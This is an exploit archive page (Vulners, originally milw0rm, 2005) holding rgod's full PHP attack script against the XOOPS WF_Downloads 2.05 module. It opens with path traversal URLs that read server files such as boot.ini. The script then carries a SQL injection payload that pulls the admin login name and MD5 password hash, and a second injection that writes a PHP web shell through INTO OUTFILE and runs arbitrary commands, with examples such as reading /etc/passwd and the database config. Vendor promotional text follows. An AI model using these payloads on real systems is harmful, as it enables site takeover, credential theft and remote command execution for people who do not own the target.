Vulners
Lucene search
XOOPS (wfdownloads) 2.05 Module - Multiple Vulnerabilities
<?php
/*
rgod:
http://[target]/[path_to_xoops]/class/xoopseditor/textarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../script
http://[target]/[path_to_xoops]/class/xoopseditor/textarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../boot.ini%00
http://[target]/[path_to_xoops]/class/xoopseditor/koivi/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../script
http://[target]/[path_to_xoops]/class/xoopseditor/koivi/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../boot.ini%00
http://[target]/[path_to_xoops]/class/xoopseditor/dhtmltextarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../script
http://[target]/[path_to_xoops]/class/xoopseditor/dhtmltextarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../boot.ini%00
added for future reference /str0ke
*/
# ---XOOPS_WFd205_xpl.php 11.35 12/11/2005 #
# #
# XOOPS WF_Downloads Module v 2.05 SQL injection / #
# Admin credentials disclosure & remote commands execution all-in-one #
# by rgod #
# site: http://rgod.altervista.org #
# #
# usage: launch from Apache, fill in requested fields, then go! #
# #
# make these changes in php.ini if you have troubles #
# with this script: #
# allow_call_time_pass_reference = on #
# register_globals = on #
# #
# Sun-Tzu: "Indirect tactics, efficiently applied, are inexhausible as Heaven #
# and Earth, unending as the flow of rivers and streams; like the sun and #
# moon, they end but to begin anew; like the four seasons, they pass away to #
# return once more. #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'<html><head><title>XOOPS WF_Downloads module 2.05 SQL Injection </title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style
type="text/css"> body { background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;
SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
XOOPS WF_Downloads module 2.05 SQL Injection </p><p class="
Stile6">a script by rgod at <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&command=value&proxy=value&action=value"><p><input type="text"
name="host"> <span class="Stile5"> * hostname (ex: www.sitename.com) </span></p>
<p><input type="text" name="path"><span class="Stile5"> * path ( ex: /xoops/ or
just / )</span></p><p><input type="text" name="username"><span class="Stile5"> *
username</span></p><p><input type="text" name="password"><span class="Stile5"> *
...and password, to retrieve a session cookie</span> </p> <p><input type="text"
name="action"><span class="Stile5"> * action: "HASH" to disclose admin loginname
& MD5 password hash, "CMD" to launch commands </span> </p><p> <input type="text"
name="pathtoWWW"><span class="Stile5">path to WWW ftom Mysql directory,need this
for "...INTO OUTFILE ..." statement (default: ../../www) </span></p><p> <input
type="text" name="table_prefix"> <span class="Stile5"> specify a table prefix
other than the default (fXZtr_)</span></p><p><input type="text" name="port">
<span class="Stile5">specify a port other than 80 (default value)</span> </p><p>
<input type="text" name="command"> <span class="Stile5">a Unix command, example:
ls -la to list directories, cat /etc/passwd to show passwd file, cat ./../mainf
ile.php to see database username and password</span></p><p><input type="text"
name="proxy"> <span class="Stile5"> send exploit through an HTTP proxy (ip:port)
</span></p><p><input type="submit"name="Submit" value="go!"> </p> </form> </td>
</tr></table></body></html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
//next function to send packets
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else
{ $c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($proxy=='')
{
$result = socket_connect($socket, $host, $port);
}
else
{
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else
{
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
if (($host<>"") and ($path<>"") and ($username<>"") and ($password<>""))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($pathtoWWW=='') {$pathtoWWW="../../www";}
#default, path for "INTO OUTFILE <[path][file]>, two dirs up from mysql data directory, change it for
#different installations
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
if ($table_prefix=='') {$table_prefix="fXZtr_";}
$action=strtoupper($action);
if (($action<>'HASH') and ($action<>'CMD')) {echo "Specify an action..."; die;}
if ($action=="CMD"){if ($command==""){echo "specify a command..."; die;}}
# STEP 1 -> Login to retrieve a session cookie, bypass referrer check...
$data="uname=".urlencode($username)."&pass=".urlencode($password)."&op=login";
$packet="POST ".$p."user.php HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Referer: http://".$host.":".$port.$path."/user.php?xoops_redirect=%2Fmodules%2Fprofile%2Factivate.php%3Fop%3Dactv%26id%3D15%26actkey%3D&PHPSESSID=7ed3f806816476461a96e18c28044414\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(' ',$temp[1]);
$cookie=$temp2[0];
echo '<br>Your cookie: '.htmlentities($cookie);
if ($action=='HASH'){
# STEP 2a -> Disclose Admin MD5 password hash
$SQL="-' UNION SELECT 0,0,loginname,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pass,0,0 FROM ";
$SQL.=$table_prefix."users WHERE level=5/*";
$SQL=urlencode($SQL);
$packet="GET ".$p."/modules/wfdownloads/viewcat.php?list=".$SQL." HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
$temp=explode('<span class="itemTitle">',$html);
$temp2=explode('</span>',$temp[1]);
echo "LOGINNAME: ".$loginname=$temp2[0].'<BR>';
$temp=explode('<div style="margin-left: 6px;" align="justify">',$html);
$temp2=explode('</div>',$temp[2]);
echo "MD5 HASH: ".$hash=$temp2[0].'<BR>';
}
else
if ($action=='CMD'){
# STEP 3a -> Inject a shell through a query...
$SHELL="<?php error_reporting(0);ini_set(\"max_execution_time\",0);echo \"Hi Master \";system(\$_GET[cmd]);?>";
$SQL="-1'or'a'='a' UNION SELECT 0,0,0,'".$SHELL."',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 INTO";
$SQL.="OUTFILE '".$pathtoWWW.$path."uploads/shell.php' FROM ".$table_prefix."wfdownloads_downloads/*";
$SQL=urlencode($SQL);
$packet="GET ".$p."/modules/wfdownloads/viewcat.php?list=".$SQL." HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
# STEP 3b -> Launch commands...
$packet="GET ".$p."/uploads/shell.php?cmd=".urlencode($command)." HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master",$html)) {echo "<br>Exploit Succeded...";}
else {echo "<br>Exploit Failed...";}
}
}
else
{echo "Fill * requested fields, optionally specify a proxy...";}
?>
# milw0rm.com [2005-11-12]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
12 Nov 2005 00:00Current
7.4High risk
Vulners AI Score7.4